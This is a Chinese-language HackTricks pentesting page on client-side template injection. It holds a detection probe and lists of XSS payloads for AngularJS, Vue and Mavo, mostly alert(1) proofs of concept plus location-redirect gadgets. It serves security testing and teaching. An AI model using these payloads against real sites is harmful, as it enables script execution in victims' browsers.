hacktricks/pentesting-web/client-side-template-injection-csti.md

6.5 KiB
Raw Blame History

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

摘要

这类似于服务器端模板注入,但是在客户端SSTI可以让您在远程服务器上执行代码,而CSTI可以让您在受害者中执行任意JavaScript代码。

测试此漏洞的方法与SSTI的情况非常相似,解释器将期望执行双大括号之间的内容并执行它。例如,使用类似以下内容:{{ 7-7 }},如果服务器存在漏洞,您将看到0,否则您将看到原始内容:{{ 7-7 }}

AngularJS

AngularJS是一个广泛使用的JavaScript框架通过称为指令的属性与HTML进行交互其中一个显著的指令是**ng-app**。该指令允许AngularJS处理HTML内容从而执行双大括号内的JavaScript表达式。

在用户输入动态插入到标记为ng-app的HTML主体的情况下可以执行任意JavaScript代码。这可以通过利用输入中的AngularJS语法来实现。以下是演示如何执行JavaScript代码的示例

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

您可以在http://jsfiddle.net/2zs2yv7o/Burp Suite Academy找到AngularJS中漏洞的非常基本的在线示例

{% hint style="danger" %} Angular 1.6移除了沙盒,因此从这个版本开始,像{{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')>这样的有效载荷应该可以工作。 {% endhint %}

VueJS

您可以在https://vue-client-side-template-injection-example.azu.now.sh/找到一个易受攻击的vue.js实现。
有效载荷:https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

以及这里易受攻击示例的源代码https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

V3

https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets中可以找到关于VUE中CSTI的非常好的文章。

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected 中查看更多VUE有效载荷

Mavo

有效载荷:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

更多有效载荷请查看 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

暴力检测列表

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式